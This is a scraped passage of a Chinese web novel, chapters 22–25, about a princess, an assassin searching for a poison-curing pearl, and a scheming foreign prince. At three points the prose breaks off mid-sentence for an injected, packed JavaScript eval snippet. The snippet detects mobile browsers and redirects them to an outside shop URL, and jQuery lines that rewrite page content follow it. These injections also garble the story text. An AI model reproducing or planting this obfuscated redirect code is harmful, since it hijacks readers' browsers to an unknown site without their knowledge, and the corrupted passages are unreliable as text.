“前两次醒来都是头昏脑涨,浑身发软,这次头不胀,眼不花,也不觉得没力气。” “你还倒出经验了,我也刚醒。” 李之夭再次动了动脚,“再给你个活儿你干不干?” 纪无涯没应她,但她知道他在听。 “送我去护国寺,给你五十两当报酬,门口备了马车,劳烦你当个车夫。” “上山吗?” “去山脚后面的桃花祠,明日是悟尘大师的住持仪式,早上来不及,典礼会从桃花祠开始,我们从那里跟着队伍一起走。” 拽着她脚踝的手松开了,纪无涯坐起身来。 “成。” 出城的马车行驶到城门口,守军见驾驶马车的是名俊朗少年,掀开帘子看了一眼里面的人,随口盘问了一句晚上出城干什么。 “奔丧。” 画像上的人是位年轻漂亮的姑娘,马车里坐着的是名老媪,也就放行了。 李之夭赶到桃花祠的时候,时雨还没来,但她一直等到深夜。 时雨未来。 22. 换珠 第22章 马车停在桃花祠不远处的桃树下,纪无涯背靠树干,他依旧上下抛着银币,神色慵懒。 白日并未跟时雨说过具体时间,所以李之夭不敢轻易,怕跟时雨错过。 她坐在祠前的石阶上,隔壁卖香火的大娘已早早关门落锁,想养足精神参加护国寺的主持仪式,临走前给她送了个小马扎和一盏灯笼。 护国寺晚上不会对外开门,住持大典卯时才会有人,跟平日没什么两样,走个过场,让人知道现在护国寺换了住持,届时还会有众多百姓前来围观。 李之夭拿小树枝在地上画圈圈,抬眸朝纪无涯方向望去,那个地方已经没了人。 他应当还不知道珠子在她手上,不然按照他的脾气早就过来直接跟她要了。 她想着,但现在纪无涯如今知道珠子在她手上,并没行动,在回宿宁宫之前,他传信给寻方,让他帮忙盯着宫里李之夭身边的人。 白日她们鬼鬼祟祟的样子实在可疑,事实证明他的判断没错。 晚上的时候寻方传来消息,确实截住了乔装打扮混出城的时雨。 “这是我在那名宫女身上发现的。” 寻方将得到的檀木盒打开,里面装着一颗圆润的珠子。 纪无涯将珠子拿起举到半空中,闭上一只眼睛对着月光辨别真伪。 珠子在月光下显现清晰的脉络,似有流光流动。 是真的,他将珠子收起来。 “老和尚在外游历许久,为我寻到药珠,又让其在山顶沉淀多年,我寻我的生路,也不算骗人。” 纪无涯说完咳嗽几声,“宿宁公主手底下的宫女呢?” “雪在看着她。” 寻方回答,“今日雪进宫,听皇帝的意思是他已派兵驻扎在宁缘城,倘若我们的人伤了宿宁公主,他就要踏平月缘山。” “这大魏皇帝,对宿宁当真是上心,难怪那老头儿不念旧情都要我杀了她。” 杀了李之夭就能避免日后大魏国破的悲剧,那群老头的先见之明并没错。 但现在李之夭不能死,因为除了药珠,他还需要李之夭帮他找样东西。 纪无涯将珠子收起来,“城南边有个鬼市,有颗珠子同药珠无异,让雪去找回来替换给李之夭,你留下。” 雪听到要她去找东西的时候,龇牙咧嘴恨不得上去狠狠咬寻方一口。 但不等她冲到寻方跟前,就被寻方用手抵住脑袋,只剩两只爪子在扑腾。 “寻方,你太过分了!去见十三师兄也不带我!” 寻方敲了敲她的头,“我也是你师兄,你这么叫我,非常不礼貌,我要跟师兄告状。” 雪气鼓鼓地张口咬在寻方的手臂上,挪开嘴的时候印了牙印,但她拿捏住力道,并未出血,只是破了点皮。 “你完成你十三师兄交代你的任务,说不定他知道是你办的,想夸奖你就来找你了,给你买你你喜欢吃的香酥鸭,若是办不好,你就得回去吃莲子。” 雪皱脸哼了一声,跺脚拂袖用轻功离开。 她按照寻方说的去城西鬼市,本以为会是吓人的地方,谁知是一群奇奇怪怪的人卖着一些奇奇怪怪的东西。 找了半晌都没找到跟珠子相似的东西,想到要吃莲子,整个人都快焉了。 前方乱糟糟的,似乎有人在乞丐堆里争抢什么东西。 雪好奇凑上去,说来也巧,就看到被乞丐死死护在怀里的正好就是跟药珠差不多的珠子。 抢乞丐东西的人共有五个,手里长枪短剑的,面容不善。 她大喝一声,双手叉腰气势汹汹站在他们身后。 “这东西是我的!” 闻言争夺人的笑了,为首男子他俯视在他眼里屁大点的女娃娃,也敢上来抢东西,眼神轻蔑。 “小丫头,赶紧回家玩泥巴去,这东西,可不是谁都能来抢的。” 雪眸子一冷,十指做器,飞身上前一把揪住压制乞丐的男人的胳膊,眨眼间直接把男人手臂活生生用手撕扯下来,血淋淋的手臂飞出老远掉在地上,吓得众人四处逃窜。 男人面色惨白,捂着手臂躺在地上打滚惨叫不止。 为首男子一惊,声音暴怒:“小小年纪心狠手辣,找死!” 于是人分作两匹,一人去抢珠子,剩下三人来对付她。 但雪身形似鬼魅,灵巧躲过他们,去追杀乞丐的人,一记黑虎掏心从男人后背贯穿胸口,滴答着血的五指赤.裸裸伸在乞丐眼前,乞丐接收到她威胁的眼神,赶忙将珠子给她,慌不择路跑了。 雪抽出手,手臂半截染成红色,鲜血顺着手臂往下掉。 她不满地扯了扯自己染血的漂亮的裙子,撇了撇嘴,很不开心,转身看向为首的男人。 “你要赔我。” 两名小弟早在她贯穿自己同伴胸口的时候嘴里喊叫‘怪物’落荒而逃。 为首的男人显然也被眼前景象震惊得说不出话来,一时间慌了神。 雪弯着眉眼。 “哥哥,不赔我衣服就去死,赔我衣服就饶你一命,我很讲杀手信用哒。” 她回去的时候换了新的衣服,就连身上的血迹都洗干净了。 乖乖把珠子交到寻方手里。 寻方笑着揉了揉她的头,把珠子装回原来的盒子里放回时雨原来的位置,带着雪离开了。 他不是很懂为何纪无涯要让雪去。 毕竟看雪回来时候的样子,一看就是知道是动手杀了人,不然不会换衣服。 算了,他也懒得想。 他这位师兄,从五年前开始不一样了。 虽然还是一副冷冰冰的样子,但比从前有人情味。 还知晓不少事,包括当初燕国城破,也是他一语道破,甚至救下如今大魏皇帝的命。 时雨清醒过来的时候,赶忙检查珠子还在不在,发现东西还在盒子里只是少了些首饰盒钱财,她顿时松了口气。 爬上马车策马赶往桃花祠。 卯时寺院钟声响起,李之夭从睡梦里惊醒。 此时天隐隐有泛白迹象,她再次朝马车那边望去,见纪无涯坐在马车车夫坐的位置小憩。 而久久未曾等来的时雨此时从马车上下来,风尘仆仆地赶来。 “主子,奴婢来迟了!” 她说着欲要将盒子掏出来被李之夭摁住手,“这里不是合适地方,你跟我说说你怎么回事?” 时雨将今日在宫里发生的事完完全全跟李之夭讲了一遍。 白日,孙广全找出来是苏月清藏了舍利子,并且在御书房指认苏月清。 清武帝震怒,“你为何要这么做?” “我没偷,一定是有人栽赃陷害奴婢。” 清武帝气极反笑,指着罪证道:“东西是从你屋子搜出来的,你的屋子门上了锁,况且早上也是你说想派人去宿宁宫帮忙,这会儿打扫完的宫人刚回来没多久,就在你屋中搜出舍利,那你倒是给朕一个解释!” 苏月清沉声道:“皇上,奴婢没偷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575747|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是没偷。” “怎么,东西是在你上了锁的屋子里找出来的,你真觉得朕冤枉了你不成?” “奴婢不想争辩,无从争辩,皇上认为是奴婢偷的就是奴婢偷的,但公道自在人心,绝无怨言。” 苏月清破罐子破摔,打算以退为进,不再辩解。 一副你爱怎么处置就怎么处置的态度,将清武帝气得够呛。 从前清武帝看她做事机灵,又懂得一些医术,沉默寡言,安分守己,清武帝才破格将她从绣房提到身边做事。 没曾想事实摆在眼前却无悔过之心。 “孙广全!将她带去慎刑司领罚二十,哪里来的回哪去!朕要看看什么公道自在人心!拖下去!” 而后时雨也确实按照李之夭教她的话术顺利带舍利子出宫,谁曾想晚间在路上,却被人打晕过去。 醒来时都不知时间过了多久,只是损失一些钱财,但舍利子还在。 “你是说你只是丢了钱财,但舍利子还在?” 李之夭诧异,按理来说,若是山匪打劫,除了钱财之外,他们不认识这东西,就更应该把舍利子拿走,再不济还有个檀木盒子。 她目光望向纪无涯,发现对方也在偷偷看她,难不成是方才他失踪那会去时雨那边将珠子抢了过来? 李之夭摇了摇头。 不可能。 纪无涯的目的从一开始就是珠子,如今珠子近在眼前,怎么可能不要,还回来。 但这件事李之夭总觉得有些怪异,但哪里怪,她想不通。 山道上前来参加住持大典的百姓渐渐多了记起来,卯时将至,寺庙钟声传来,从山上下来的僧人陆续抵达,李之夭带时雨走到一侧。 她一眼看到在人群里的悟尘身披袈裟,手里盘着菩提子,率先来的僧人已燃起香烛,摆上贡果茶点。 悟尘走出来,他身后跟着几位护国寺的方丈和一群小沙弥,悟尘也看到李之夭,来的时候故意从李之夭身边过来。 “方丈说会给我个答案,如今答案可以有结果了?”李之夭出声叫住悟尘的步子。 悟尘停下来,他确实说过会给她一个答案。 是谁用护国寺的名字,将珠子送进了宫里。 “这个答案贫僧寻或不寻都会知道,答案从来不是去寻的,是等的。” 李之夭聪明,很快读懂悟尘话里的意思。 此前她并没想明白,万一是玄心大师生前安排好,也是无可厚非。 但玄心出家人,留给纪无涯的东西,总归不是裴淮想找的宝物,因为书中确实是说裴淮通过此宝,找到一笔钱财,风风光光回了北唐。 李之夭笃定裴淮跟纪无涯找的很有可能不是同一颗珠子,只不过它们曾经都曾出现在护国寺。 所以送进宫里的那颗,是诱饵。 看见不知何时醒来在前方逗香火店老板娘家黑猫的纪无涯时,李之夭忽然笑道:“悟尘住持,我送你件东西如何?” 既然是诱饵,就不应该留在手里。 李之夭示意时雨把装有珠子的檀木盒递给悟尘。 “这东西当初从护国寺来,可给我惹出不小麻烦,如今借花献佛,赠予护国寺。” 悟尘瞧见里面的珠子,面色了然,让身边小沙弥接下。 李之夭出声:“我只是好奇,到底想干什么。” 住持大典开始,全场肃静,个个神色虔诚,师父们诵经绕过一圈又一圈凤山上的大小寺庙,所到之处,香火燃烧的烟雾缭绕。 23. 闻卿 第23章 裴淮现在很不好过。 他在自己据点气得砸坏好多东西,手下的人非死即残。 回来的杨刻告诉他说这些事都是一个十二岁的女娃干的。 多多少少他是有些不相信,认为这是杨刻为逃避责任编出来的谎话。 可断臂的人包扎伤口回来,心有余悸,神色像见到鬼一样,声音惊恐凄厉。 “是这样的!主子!”他瞪大双眼,回忆起方才的事,那股恐惧压迫感又笼罩在心头,让他的面容扭曲狰狞。 “当时那个女娃拽着我的手臂一扯,力大无比,我手臂就这样没了!她就是个怪物!” “她就是个怪物!” 他失声叫喊,泪水布满他的脸旁。 杨刻挥手让人将他带下去以免冲撞了裴淮。 “主子,那女娃似乎也是冲着琉璃珠去的,药珠在宫中不知苏姑娘何时会送出来,琉璃珠不知去向,这该如何是好。” 情急之下,裴淮内伤未愈,气息紊乱一下呕出大口鲜血。 他需要带药珠回北唐给他生病的父皇做寿礼,他离开北唐这些年,若没药珠他怕拉不回来父皇的心。 杨刻慌忙从身上取出药瓶倒出一粒黑色的药塞到裴淮嘴里。 “主子放心,我在给她的衣物上留了千里香,琉璃珠跑不了。” 裴淮心里顿时舒畅不少,杨刻此人做事容易冲动,但必要时刻却很细心,不枉他培养这么久。 但他不能再等了。 “杨刻,你速去找苏月清,趁现在秦立山不在宫中,咱们行事能方便些。” 他顿了顿,望向城外的远处隐隐泛起星火的高山。 “然后你来护国寺寻我,我需去见一见老朋友。” “青鸢。” 他轻轻喊出一个名字,随后从暗处走出一名身形挺拔身穿劲装的女子,她面若寒霜,眸里却溢出对裴淮止不住的担忧。 “你去银来庄看看他们是否有准备,明日子时,我要看到他们的在凤山脚下。” 安排好事宜和细节后,裴淮坐上马车,今日是护国寺新任住持大典,寅时出城的百姓不在少数,守在门口的禁军照旧简单盘查一番便放人出城,他混在其中很轻松便能出城。 刚到山脚,身边侍卫回禀:“主子,有千里香的味道,很淡。” 一行人循着气味追去,刚好看见李之夭把珠子交到了悟尘手里。 他凤眼微微眯起,勾起一丝阴冷的笑容,胜券在握。 “继续上山。” 马车在原地只停留片刻便脱离人群率先上山去,只留下一串车辙印。 仪式尚未开始,百姓在悟尘身边来来去去,想讨个吉利,为自己沾点佛缘保佑顺遂顺心。 “他们走了。” 纪无涯从树上下来,落在李之夭身旁。 桃花祠添香去尘,奉上新的贡果,和尚们诵完经,去往下一座庙的大部队已经启程。 李之夭走在队伍的末尾,此时天还未亮,木鱼的敲击和一路诵经声裹挟香的气味在空气中散开。 “你信这个么?” “原先是不信的。”他说话的声音顿了顿,彷佛回想起刚入护国寺的时候。 老和尚牵着他的手,指着这里的大门,教他认识每一条路和每个人,跟他说,孩子,这里以后就是你的家。 想到此纪无涯眸子柔和了几分。 “老和尚问我想不想出家留在庙里修行,我说我不想,往后老和尚便没再提过。” “为何又信了?” “经历一些事之后我就信了。”他话说的委婉,没想想说破的意思。 李之夭勾唇没去深究,只回应他的话:“我也是。” 纪无涯想事情步子慢在她身后,盯着前方主仆二人的背影,他忽然记起埋在亘长记忆里的事。 前世初见李之夭是在宫外,彼时她被人簇拥坐在水榭中央,身边跟着苏月清。 她们在戏弄一位白面书生,把他的书放在一群女娘手上,让书生争抢的时候传来传去,嬉笑书生让他憋着一股气面红耳赤,敢怒不敢言。 李之夭将书生踹进池塘里让他去采荷花,只要将荷花完好无损摘上来就把书还给他。 后来书生陷在淤泥里,他挣扎之际泥水溅起落在娇艳的荷花上。 岸上的罪魁祸首顿时没了心思,只给他五两银子算作赔偿,起身又在簇拥下离开。 他把那书生从泥里揪起来,未做多留便离开了,仅此一面。 往后他再也没机会见到李之夭。 因为他死了。 纪无涯从回忆里抽出来,发现自己慢了好大一截,李之夭停在前面等他。 加快步子追上平声问道:“看到裴淮后,你有何想法?” 李之夭以为纪无涯现在还不知道她从宫里带出来的珠子现在交到了悟尘手里。 珠子她用来钓裴淮这条鱼,现在鱼上钩了,准备去收网。 “时雨你回去,传信给秦大统领,让他带兵来护国寺。” 纪无涯从时雨手里接过马车的缰绳。 “公主你自己小心。” 时雨快步离开,人走远她才回答方才的问题。 “在我告诉你答案之前,纪无涯,不妨我们再做一次交易如何?我告诉你我的想法,那颗珠子你在找,裴淮也在找,你告诉我它究竟有什么用?” 等价的买卖。 纪无涯抛出一枚银币在半空中捏住,摊开掌心一看是有花纹的一面在上。 “送进宫里的那颗珠子是一颗药,药珠是老和尚去当年燕国的梅郎雪山找到的,经历上百年的沉淀,可解百毒。” 话至此,李之夭也能猜出纪无涯找珠子干什么。 护国寺的山顶上,那间堆满药罐子和摆满医书的屋子瞬间明白过来缘由为何。 “你中毒了?” “上车。” 他从马车后面拿来车杌给李之夭踩着上去,人进车厢坐稳他把东西收好跳上马车坐在外头。 纪无涯不打算隐瞒,背靠马车门柩,弯曲一只脚,握着银币的手搭在膝盖上,银币在他纤长的手指上灵活翻转,红色流苏流动。 他侧头望向坐在马车里的人,淡淡的眸子却是浮出笑意。 “是,两种毒。” 头次听到李之夭略微感到吃惊,第一次见他笑竟是因笑自己身体。 “当初老和尚为我身体里的毒一直在钻研医术,汤药丸子吃了不少,日日煎熬,托他的福,总算帮我稳住毒性,但他却一声不响走了,去了燕国,最后爬上梅郎雪山。” 纪无涯像说着无关紧要的事,但他的神情却出卖了自己,眼底满是自责愧疚。 “雪山那么高,都不知道那时候他是怎么爬上去的。” 九年前的大雪天,云游四方的老和尚在燕国的雪地里捡到他,问他愿不愿意跟他走? 独自离开家的纪无涯迎来他的救赎,那日他刚好花光自己身上的十枚铜板。 李之夭喃喃问道:“若没有珠子,你能活多久?” 纪无涯抬头,目光坦荡:“下月初一,就算旧毒不发,新毒也会要我命,但谁不想活着呢。” 但谁不想活着呢。 轻飘飘一句,却跟李之夭起了轻微的共鸣。 她做这么多,不也就是想为了活着么,不被剧情左右,面对她应该拥有的人生。 “纪无涯,那颗珠子是你的,别人拿不走的。” 李之夭想起后面纪无涯投靠裴淮的下场,补充一句,“但你不能投靠裴淮,只要你答应这条,你会有享不尽的富贵。” 纪无涯收敛起眼底的情绪,上下抛着银币,语气不解:“你怕我转向璃王?” “是。” 话到这里,李之夭不再藏着,跟他打起直球,因为越是这种时候,弯弯绕绕难免会出岔子。 “投靠他,你最后没好处。” 纪无涯转头,嗓音淡淡的,却又像是在做保。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592783|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “目前暂时不会,你还是我雇主,你自己面临一群整天想杀你的人,自身难保还有空管别人,我以为你的为人至少会冷漠才是。” “或许,但也看人。” 东方既白,黎明将至。 李之夭放下车帘,“上山吧,我目前的想法是让裴淮死。” 难怪她让人去通知秦立山来护国寺,打的是一网打尽的念头。 这场交易,最后她说了好像又没说。 她不杀伯仁,伯仁却要她死。 做不了同伴,就做彼此的仇家。 纪无涯赶马上山,于此同时去宫里的杨刻也赶到凤山。 他找到在客房休息的裴淮。 “主子,苏姑娘被打了二十板子关起来了!” 裴淮握茶的手一抖,洒出来大半,他瘫坐在椅子上,喃喃道:“我早该想到的,李之夭交出去的珠子会有千里香,想必小魔头是李之夭手底下的人,是她抢了珠子,目的为引我上钩,清清被捕,说明两颗珠子都在李之夭手里。” 他发狠地一巴掌拍在扶手上,动怒引得他开始咳嗽。 秦立山打在他身上那一掌很重,导致他现在内伤都不见好转。 “杨刻,你想办法把清清从牢里弄出来……” “主子,苏姑娘说她懂医术有办法出来,只是主子她想见你一面。” 裴淮再次咳嗽几声,“好,你去附近接应她一下。” 杨刻离开没多久青鸢也回来了。 “银来庄那边掌柜已经准备好了,时机一到就会跟我们汇合。” 裴淮点点头,忍不住再次咳嗽几声,嘴唇发白,最后两眼一闭晕倒过去。 青鸢眼疾手快接住他将裴淮抱回榻上,喂了药后检查脉象。 外面天光大亮,钟声悠长,寻方从衣铺掌柜手里接过打包好的衣服走出门,看到雪盯着卖糖葫芦的小贩走不动道。 药珠她用个编织袋跨在身上,她长得很可爱,扎着丸子头,脸颊粉扑扑的,一双乌黑圆溜溜的大眼睛,谁看了都喜欢。 小贩哄小孩一样从草靶子上用牛皮纸包着取下一颗裹了糖浆的山楂递给她,雪顿时眉开眼笑,小贩也高兴得合不拢嘴。 寻方走过去帮她付了两串糖葫芦的钱。 “你回客栈把衣服换了,记得洗个澡。” 昨晚雪回来后他就发现雪的衣服上被人下了千里香,想必是她抢了人家的东西,对方在衣物上做了手脚。 身上一直留着这个东西,一直暴露行踪,不利于他们今晚去护国寺接应。 雪愤愤跺脚,拿着糖葫芦张牙舞爪地就要开始发威。 “哼!那小子竟敢算计我,看姑奶奶我现在就去把他们撕个稀巴烂!” 寻方垂眸摁着她的脑袋,怕她把糖葫芦打在自己身上特意伸直了手臂拉开距离,将雪调转了个方向往前推了推。 “行了,你还想不想见师兄?” 雪立刻温顺了下来,咬了一口糖葫芦,却被糖浆黏得有些张不开嘴,跟小贩道谢后老老实实回客栈换衣服。 * 牢内。 苏月清趴在地上,身后传来的疼痛让她苍白的面上大汗淋淋,她死死咬着泛白的唇,眼中擒着泪,等巡逻的人离开后她从怀里掏出杨刻给她的止疼药吃下去。 她不能回绣房。 若是回到绣房她一定会被人耻笑,特别是那个璃秋,日子也不一定好过,当初她特意大张旗鼓地找孙公公手底下的人帮她搬物件,就是为了告诉绣房的人,以后谁都不能欺负她。 现在才过几日就被打回去,璃秋一定会针对她。 好不容易走到今天这步,她绝对不能前功尽弃。 苏月清开口:“来人,来人……” 闻声的狱卒站在门口,神色不耐烦:“吵什么吵,三日之后自然会放你出去。” “劳烦大哥派人去通传孙公公,我想见他,事关皇上龙体,马虎不得。” 苏月清说完两眼一闭就晕了过去。 24. 三方 第24章 上山的路说长不长,说短不短,也有人结伴步行上山,或是乘坐马车,想先一步去占个好位置观看主持大典。 李之夭到达山顶后,去找了留守寺院的小和尚,看了信物过后由小和尚引路登上隔壁楼台。 护国寺是大魏的国寺,后世为符合皇室或达官贵人需求,在逐步改建的过程中加入少量楼阁雅室以供贵人们落脚。 在雅室落脚没片刻,宫里传来消息说皇上把苏月清放了,并且还留在身边。 李之夭将信纸丢进灯盏里烧掉,对于这样的结果,情理之中,意料之外。 她以为这样的罪名至少能把苏月清关在里面关半月,没想到才一晚上就出来了。 护国寺的阁楼上从窗棂望去,看到敞开的大殿供奉在案上她送去的檀木盒。 她余光瞥见纪无涯,他眸子落在山顶上,神色带着眷恋。 护国寺的广场上传来的钟声,大门敞开,人潮有序涌入。 纪无涯微微低头,指尖互相摩挲,沉默半晌,他淡淡开口。 “送你上山的任务已经完成,我该离开了。” 她点头。 他下楼转角步子停住,探出头来说道:“前些日子我给公主一枚银币作为信物,公主是老雇主,往后若有别的棘手事可凭此物去京城胡桃巷子口找一名老乞丐,他能找到我。” 李之夭看着他离开的背影,忍不住出声:“你的毒怎么办?” “无需挂怀,自有安排。” “今日我想雇你护我。” 李之夭往前走了两步,声音放软带着试探,纪无涯闻言回头从下往上仰望,神色疏离。 “公主身边并不缺我一人,再会。” 原本打算留下纪无涯,他是江湖人还在护国寺里待过,做事会比较方便。 只要等到秦立山带兵过来,她尚能保住药珠将其交给纪无涯,还能趁机捉住裴淮,今夜他想利用银来庄转移珠宝,在暗中必定有他的人严防死守,届时就能一网打尽。 可能拖住裴淮的人选走了,到头来她只能以身为饵,在他手下求得一份生机争取机会。 纪无涯的目的从始至终都是药珠,这也是此人留在她身边,不管多少钱都接。 但现在他却主动离开了,整件事联系起来,总感觉遗漏了什么,让她有些不安。 李之夭叹了口气,拍拍手。 “出来吧。” 耿进才为她选的两名暗卫不知从何处出现,一男一女单膝跪地神色恭敬。 方才的信里除了宫里传来的消息还有暗卫的事,本想再藏一段时间,谁能料到纪无涯竟能察觉出来。 “你们叫什么名字?” 男暗卫率先道:“我们尚无名讳,还请主子赐名。” 李之夭诧异:“原来的名字也没?” 女方道:“主子,我和阿弟被买走时年纪太小,时过境迁早已不记得当初的名字了,在训练营里一直以数字为编号,只有等到有人将我们赎出由主子赐名。” 训练营是京城培养杀手暗卫的地下场所,城里有护卫的人心知肚明对方身边的杀手暗卫从何而来,但如今时局尚不安慰,便心照不宣的不提此事。 没想到耿进才挑来的人,竟是姐弟两人,她想了想便道:“人生到处知何似,应似飞鸿踏雪泥,你们二人以后便叫飞鸿和踏雪吧。” “踏雪。”女暗卫抱拳。 “飞鸿。” “谢主子赐名!” 李之夭摆摆手让他们起来,便独自下楼去广场上找了一处靠前的团蒲盘腿坐下。 她正对檀木盒,混在人群里不容易被发现,暗处有踏雪飞鸿,出不了事。 李之夭心里连连叹气。 赶快弄死裴淮吧,她想离开了。 这样的日子她实在过够了。 * 纪无涯径直去了山顶,他默默收拾了院子,忙活到午时寻方带着雪来了。 未见其人先闻其声,老远便听到雪欢快的声音传来。 “十三师兄!” 雪路小跑上前抱住他的大腿,仰着一张笑脸。 “十三师兄!” 纪无涯揉了揉雪的脑袋,眼底隐隐含着笑意。 “有没有乖乖听你寻方师兄的话?” 雪拼命点头,“听!” 寻方出声:“师兄,师门那边让你在初一前回去。” 纪无涯似乎已经预料到这样的情况,并不意外。 他收到这次楼主派雪出来,就知道楼里的那女人想让他回去。 一月前他稳住体内的旧毒才能下地行走,缘楼护法无召无任务时不得擅自外出,否则就会被缘楼那群老东西视为叛徒。 素来循规蹈矩的他却这么做了,甚至离开时将缘楼的地牢打开,放出一名疯疯癫癫的犯人引起一阵骚动。 他现在并不想大张旗鼓地脱离缘楼,他还需要借缘楼的势力,去找他真正想要的东西。 寻方继续道,“大魏皇帝派人去了缘楼,要楼主把宿宁公主完好无损带回去,他已派兵驻守在月缘山下,若宿宁公主不能安全回去,恐怕他会动手。” 雪松开手,改成拽着他的衣袖,“师兄,楼主要你送那个麻烦公主回去。” 他安抚地拍了拍雪的脑袋,望着寻方。 “要送回去但不是现在,今日她身边突然多了两名暗卫,她现在不知我们已经调换了药珠和琉璃珠,她想要裴淮死,我却要他活。” 他们虽有共同目标,但想法始终不是一样的。 寻方不解:“北唐璃王身边高手如云,她如何取璃王性命?” “那颗琉璃珠是关键……” 纪无涯说到此处忽然呕出一口血来,吓得雪拽着他的手就要往外走。 “师兄!跟我回缘楼!你的命要紧!咱们不管那个麻烦公主和璃王了!” “阿雪,有药珠我死不掉,没事。” 雪听到赶忙翻找她跨在腰间的小包,取出药珠就往纪无涯嘴里塞,寻方哭笑不得制止她的动作。 “药珠不是吃的,是练功用的。” “放心,你十三师兄死不了。” 雪圆溜溜的眼睛红通通的,眼看眼泪要掉下来,但她转念想到十三师兄最不喜欢人哭,更不想在这时候给他添麻烦,硬生生将眼泪憋回去。 “十三师兄,为何你现在不用药珠?” “好孩子。”纪无涯拭去嘴角血渍,“药珠药效特殊,只能晚上使用,且一旦使用需得连续运功四个时辰不能停下,眼下宿宁公主想取璃王的性命,不能让他死了。” 雪仰起脸目光坚定:“我的命是师兄救的,我去把璃王抓了藏起来让麻烦公主找不到他。” “当初救你我也在场好不,我不是人啊?”寻方戳了戳她的脑门,打趣的话瞬间让气氛缓和了许多,雪嘟着嘴小声嘟囔道,“王八念经……” “你说什么?”寻方耳尖,吓得雪赶忙躲在纪无涯身后。 “待一块这么久还没吵够?”纪无涯无奈,望着他们二人神色温柔,“你昨夜刚动手杀了他手底下的人,你和寻方去都不行。” 寻方不明白自家师兄为何要这么做,但他从缘楼出来,除了药珠之外还在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603817|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找一样东西。 那东西至今尚没有线索。 “师兄,你怀疑那东西在璃王手里?” 纪无涯点头,上辈子他曾在璃王手里看到过残本,只不过来不及调查就死在了北唐和大魏的战场上,用他自己的身躯为北唐开出一条血路。 这世,他特意避开在大魏皇宫跟裴淮遇到,没想到后面还是因为李之夭跟璃王撞在一起,对方说出跟上一世一样的招揽话。 “嗯,所以他不能死。” 现在李之夭一心想置裴淮于死地,她似乎内心在恐惧裴淮的力量。 直至今生数次相见,他总觉得李之夭身上有太多跟前世相违的地方。 比如说性格,还有对璃王和苏月清的态度。 “寻方我们先去盯着裴淮,倘若李之夭要出手,我们得把局势搅一些,不能让裴淮死,但也不能让他们的事情过于顺利。”纪无涯指尖抛出银币,转头看向跃跃欲试的雪,“你不能去,你有别的事。” 雪瞬间焉了下去。 银币在半空中被接住,纤细的手指夹住银币的尾端,红色的流苏在风中浮动。 午时,主持大典已经结束,李之夭坐在原地,捏着银币细细端量,银币材质是银制成的,看纪无涯有好几个,她瞬间也能理解他缺钱的原因是什么。 流苏很干净,并没沾染血污,就连银币全身都很干净,银币上只有一面有纹路,雕刻的是山川花草,甚至她能看到在角落不起眼的紫藤花树,鹿饮溪边水,雕刻的工艺很精妙,师傅手艺炉火纯青。 单单材料就是一笔不菲的支出,若是寻大师,价格自然不在少数。 看纪无涯的操作,银币似乎被他常做暗器使用,虽然每次都见他回收,若收不回来,就是一笔巨大的财产损失。 “啧。” 李之夭轻叹一声,“简直比我壕无人性,杀手赚了钱这么玩是吧。” 他赚着她的钱,还把从她这里赚来的前存到她手底下的钱庄里。 李之夭见悟尘避开耳目带着案上的檀木盒离开,守在暗处的飞鸿悄无声息地跟上去,李之夭紧随其后跟着悟尘去往后山一处破庙附近。 裴淮没来,杨刻来了。 他接过药珠闻了闻,“是我留在上面的千里香没错。” 杨刻说完,他身后暗处忽有一道身影飞驰而过,青鸢直直冲向李之夭,李之夭身后的踏雪拔剑抵挡,两人的身形很快缠打起来。 能在裴淮身边的人都不是等闲之辈,暗卫行踪被对面侦查到在李之夭的意料之内。 她从断壁后走出。 “李之夭?” 杨刻出声,“找死。” 他说完立刻拔剑,飞鸿迅速为她挡下,四人很快僵持不下。 “悟尘方丈,你可是大魏人。” 李之夭不理杨刻,看向一旁的悟尘,他神色如常,依旧双手合十于胸前。 同他对视半晌,李之夭轻笑出声。 能以护国寺名义把东西送进宫的人只有一个人能办到,便是护国寺的住持。 悟尘照顾玄心这么多年,玄心弥留之际怕纪无涯找不到把药珠托付给悟尘,所以悟尘知道药珠的存在不足为奇。 山上毫无痕迹更是简单,说明这些年药珠并不在山上,而是一直由玄心带在身边。 玄心想再见纪无涯一面,亲手把东西交到他手里。 可事与愿违,纪无涯旧伤复发,不能收到信后第一时间赶来。 为玄心处理完后事,药珠就到了悟尘手里,悟尘借助护国寺的名义把珠子送进大魏皇宫。 为的是她引出来。 25. 长路 第25章 话说此时宫中,苏月清再次睁眼外头早已天光大亮,闷热的夏风从窗户吹来,思绪片刻清明。 周围的环境先是陌生看到熟悉的摆件才熟悉起来,是她调来清武帝身边伺候住的单人寝室。 